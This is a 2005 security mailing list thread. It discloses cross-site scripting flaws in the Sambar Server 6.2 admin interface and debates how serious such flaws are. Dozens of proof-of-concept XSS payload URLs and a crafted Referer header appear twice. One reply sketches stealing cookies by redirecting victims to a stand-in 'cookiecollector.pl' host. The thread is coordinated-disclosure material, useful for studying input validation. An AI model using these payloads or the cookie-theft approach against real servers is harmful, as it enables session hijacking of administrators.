XSS in Sambar Server version 6.2

[jamie fisher]

- Sambar -
AFFECTED PRODUCTS:
==================
Sambar Server 6.2
http://www.sambar.com/

OVERVIEW:
=========
Sambar is an all-in-one and fully functional Web, HTTP, HTTPS, Mail, IRC, Syslog, Proxy and FTP server.

HISTORY:
========
17th April 2005 - First discovered
17th April 2005 - Contacted vendor
20th April 2005 - Vendor reply
20th May 2005 - Patch available

DETAILS:
========
Multiple XSS found in the administrative interface.
In some instances Sambar Server version 6.2 does not correctly filter HTML code from user-supplied
input. A user can input a specially crafted script that when rendered by the application, will cause arbitrary scripting to be executed by the user's browser. The code will originate from the site running the Sambar Server version 6.2 software and will run in the security context of that site.

ISSUE:
======
Crafted input of causes the application to output what is known as a Cross Site Script. The script is rendered upon visitation to the affected the page served by the application.
EXAMPLE:
========
Standard XSS within the /search directory:
==========================================
1.
">alert("XSS")&style=fancy&spage=10&query=Folder%name'>http://192.168.0.5/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=10&query=Folder%name
2.
%22%27>&style=fancy&spage=10&query=Folder%name">http://192.168.0.5/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=10&query=Folder%name
3.
">alert("XSS")&style=fancy&spage=20&query=Folder%20name'>http://192.168.0.5/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=20&query=Folder%20name
4.
%22%27>&style=fancy&spage=20&query=Folder%20name">http://192.168.0.5/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=20&query=Folder%20name
5.
">alert("XSS")&style=fancy&spage=30&query=Folder%20name'>http://192.168.0.5/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=30&query=Folder%20name
6.
%22%27>&style=fancy&spage=30&query=Folder%20name">http://192.168.0.5/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=30&query=Folder%20name
7.
">alert("XSS")&style=fancy&spage=40&query=Folder%20name'>http://192.168.0.5/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=40&query=Folder%20name
8.
%22%27>&style=fancy&spage=40&query=Folder%20name">http://192.168.0.5/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=40&query=Folder%20name
9.
">alert("XSS")&style=fancy&spage=50&query=Folder%20name'>http://192.168.0.5/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=50&query=Folder%20name
10.
%22%27>&style=fancy&spage=50&query=Folder%20name">http://192.168.0.5/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=50&query=Folder%20name
11.
">alert("XSS")&style=fancy&spage=60&query=Folder%20name'>http://192.168.0.5/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=60&query=Folder%20name
12.
%22%27>&style=fancy&spage=60&query=Folder%20name">http://192.168.0.5/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=60&query=Folder%20name
Standard XSS within the /session directory:
===========================================
1.
'>alert('XSS')http://192.168.0.5/session/logout?RCredirect=>'><script>alert('XSS')</script>
2.
">alert("XSS")http://192.168.0.5/session/logout?RCredirect=>"><script>alert("XSS")</script>
3.
%22%27>http://192.168.0.5/session/logout?RCredirect=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>
HTML XSS within the /search directory:
======================================
1.
"'>&style=fancy&spage=10&query=Folder%20name">http://192.168.0.5/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=10&query=Folder%20name
2.
"'>&style=fancy&spage=20&query=Folder%20name">http://192.168.0.5/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=20&query=Folder%20name
3.
"'>&style=fancy&spage=30&query=Folder%20name">http://192.168.0.5/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=30&query=Folder%20name
4.
"'>http://192.168.0.5/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;
%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=40&query=Folder%20name
5.
"'>&style=fancy&spage=50&query=Folder%20name">http://192.168.0.5/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=50&query=Folder%20name
6.
"'>&style=fancy&spage=60&query=Folder%20name">http://192.168.0.5/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=60&query=Folder%20name
No chevron '<' '>' XSS within the /search directory:
====================================================
1.
http://192.168.0.5/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=10&query=Folder%20name
2.
http://192.168.0.5/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=20&query=Folder%20name
3.
http://192.168.0.5/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=30&query=Folder%20name
4.
http://192.168.0.5/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=40&query=Folder%20name
5.
http://192.168.0.5/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=50&query=Folder%20name
6.
http://192.168.0.5/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=60&query=Folder%20name
Escaping from HTML XSS within the /session directory:
====================================================
1.
alert(%27XSS%27)http://192.168.0.5/session/logout?RCredirect=--><script>alert(%27XSS%27)</script>
Including XSS within referrer:
==============================
1.
GET /CheckingXssInReferer.html HTTP/1.0
Cookie: RCuid=SS1-1113767443-uh287LUVlBbVwpESKaZ29/hq0cDSVneAgWlracaqApQ=; RCslb=5; RCrelogin=false
Host: 192.168.0.5
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
Referer: "></a><script>alert('XSS')</script>

SOLUTION:
=========
Sambar Server has been contacted and has released patches.
Note: There were probably a lot more input validation errors but due to a whinning girlfriend work had to be cut short :)

REFERENCE:
==========
http://www.sambar.com/security.htm
http://homepage.hispeed.ch/spamtrap/sambar62p.exe

CREDITS:
========
Tod Sambar for understanding the issue and resolving in a timely manner.

This vulnerability was discovered and researched by Jamie Fisher
mail: contact_jamie_fisher[at]yahoo.co.uk


---------------------------------
Yahoo! Messenger NEW - crystal clear PC to PCcalling worldwide with voicemail

[Daniel]

"A user can input a specially crafted script that when rendered by the
application..."

Hopefully you can explain:

- Is the user required to be logged in first, or can this be done
unauthenticated
- Are you able to steal any aspect of the session management logic
using this method
- Are you able to, in any way, gain access to the sambar installation
using this technique?

I have issues with any XSS security research being more than a low
risk, unless you can modify the logic of the application or gain
access to the platform in question.
Automated scanning tools love XSS issues as they are easy to find, but
in reality bloody hard to exploit (wow, i have made a jscript window
popup)

ps, its not a personal attack, just me failing to understand the logic
of XSS attacks (hell its like 1999 when responding to ICMP packets was
seen as a risk)

Post by jamie fisher
- Sambar -
==================
Sambar Server 6.2
http://www.sambar.com/
=========
Sambar is an all-in-one and fully functional Web, HTTP, HTTPS, Mail, IRC,
Syslog, Proxy and FTP server.
========
17th April 2005 - First discovered
17th April 2005 - Contacted vendor
20th April 2005 - Vendor reply
20th May 2005 - Patch available
========
Multiple XSS found in the administrative interface.
In some instances Sambar Server version 6.2 does not correctly filter HTML
code from user-supplied
input. A user can input a specially crafted script that when rendered by the
application, will cause arbitrary scripting to be executed by the user's
browser. The code will originate from the site running the Sambar Server
version 6.2 software and will run in the security context of that site.
======
Crafted input of causes the application to output what is known as a Cross
Site Script. The script is rendered upon visitation to the affected the
page served by the application.
========
==========================================
1.
http://192.168.0.5/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=10&query=Folder%name
2.
http://192.168.0.5/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=10&query=Folder%name
3.
http://192.168.0.5/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=20&query=Folder%20name
4.
http://192.168.0.5/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=20&query=Folder%20name
5.
http://192.168.0.5/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=30&query=Folder%20name
6.
http://192.168.0.5/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=30&query=Folder%20name
7.
http://192.168.0.5/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=40&query=Folder%20name
8.
http://192.168.0.5/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=40&query=Folder%20name
9.
http://192.168.0.5/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=50&query=Folder%20name
10.
http://192.168.0.5/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=50&query=Folder%20name
11.
http://192.168.0.5/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=60&query=Folder%20name
12.
http://192.168.0.5/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=60&query=Folder%20name
===========================================
1.
http://192.168.0.5/session/logout?RCredirect=>'><script>alert('XSS')</script>
2.
http://192.168.0.5/session/logout?RCredirect=>"><script>alert("XSS")</script>
3.
http://192.168.0.5/session/logout?RCredirect=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>
======================================
1.
http://192.168.0.5/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=10&query=Folder%20name
2.
http://192.168.0.5/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=20&query=Folder%20name
3.
http://192.168.0.5/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=30&query=Folder%20name
4.
http://192.168.0.5/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;
%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=40&query=Folder%20name
5.
http://192.168.0.5/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=50&query=Folder%20name
6.
http://192.168.0.5/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=60&query=Folder%20name
====================================================
1.
http://192.168.0.5/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=10&query=Folder%20name
2.
http://192.168.0.5/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=20&query=Folder%20name
3.
http://192.168.0.5/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=30&query=Folder%20name
4.
http://192.168.0.5/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=40&query=Folder%20name
5.
http://192.168.0.5/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=50&query=Folder%20name
6.
http://192.168.0.5/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=60&query=Folder%20name
====================================================
1.
http://192.168.0.5/session/logout?RCredirect=--><script>alert(%27XSS%27)</script>
==============================
1.
GET /CheckingXssInReferer.html HTTP/1.0
RCuid=SS1-1113767443-uh287LUVlBbVwpESKaZ29/hq0cDSVneAgWlracaqApQ=;
RCslb=5; RCrelogin=false
Host: 192.168.0.5
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
Referer: "></a><script>alert('XSS')</script>
=========
Sambar Server has been contacted and has released patches.
Note: There were probably a lot more input validation errors but due to a
whinning girlfriend work had to be cut short :)
==========
http://www.sambar.com/security.htm
http://homepage.hispeed.ch/spamtrap/sambar62p.exe
========
Tod Sambar for understanding the issue and resolving in a timely manner.
This vulnerability was discovered and researched by Jamie Fisher
mail: contact_jamie_fisher[at]yahoo.co.uk
________________________________
Yahoo! Messenger NEW - crystal clear PC to PC calling worldwide with
voicemail
_______________________________________________
Full-Disclosure - We believe in it.
http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Daniel]

"... somebody with priviliged rights could have effected within the
application.."

so thats like writing a local sploit code which gives you a higher
level of access, when you are that higher level of access?

In this situation (and only concerned with Sambar), was it possible to
perform any of the following as a standard user (not admin etc)

- obtain the session management mechanism
- obtain any cookie
- change any aspect of the business logic for logons
- kill the session
- change any aspect of the application

There seems to be a load of theoretical vulnerability research going
on at the moment (see the archives for the OS X dashboard issue), yet
when digging into the issue at hand, i've yet to see actual risk to
the app

Post by Daniel
"A user can input a specially crafted script that when rendered by the
application..."
"Multiple XSS found in the administrative interface."

This kind of pre-supposes the idea that a user has access to the

administrative interface. The tests I ran were purely looking at what
somebody with priviliged rights could have effected within the application.
For clarification, a user is by default somebody who is "identified" and
then "authorised" to the system. In the case of Sambar Server version 6.2
this is done through the mandatory access control of username and password.
The system in this case is the "administrative interface".
Granted, the XSS is a very low level vulnerability. However, combine the
XSS with the ability to (document.cookie) and a
document.location="http://domain.com/cookiecollector.pl"
which logs the users cookie then this becomes more of an issue.
Incidentally, did you know the application does not expire session states,
i.e., if I log off or kill my session with the browser or otherwise and a
miscreant (somebody who uses a Lynx browser) , e.g., You, conspires to
obtain my user identity - in this case we're using the example of the cookie
- then certainly this issue certainly becomes one of a high level issue.
From personal experience I know you've run across plenty of XSS issues
before, we've both discussed where we've collided in previous job roles. I
guess, in a nut shell it shows how little input/output validation is
occuring throughout the application and what a user if so inclined, can
force the application into rendering. But really, I used to point out
input/output validation issues to you along with the other stuff you used to
miss in your web application pen tests.
Sambar Server 6.2. I haven't got a problem if you would like to work with
me in researching bugs/problems/issues. It's just a matter of trying to
work with the vendor to help find understand the issues/apply a patch. And
btw, this isn't a personal attack against you either =)
J
________________________________
Does your mail provider give you FREE antivirus protection?
Get Yahoo! Mail

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/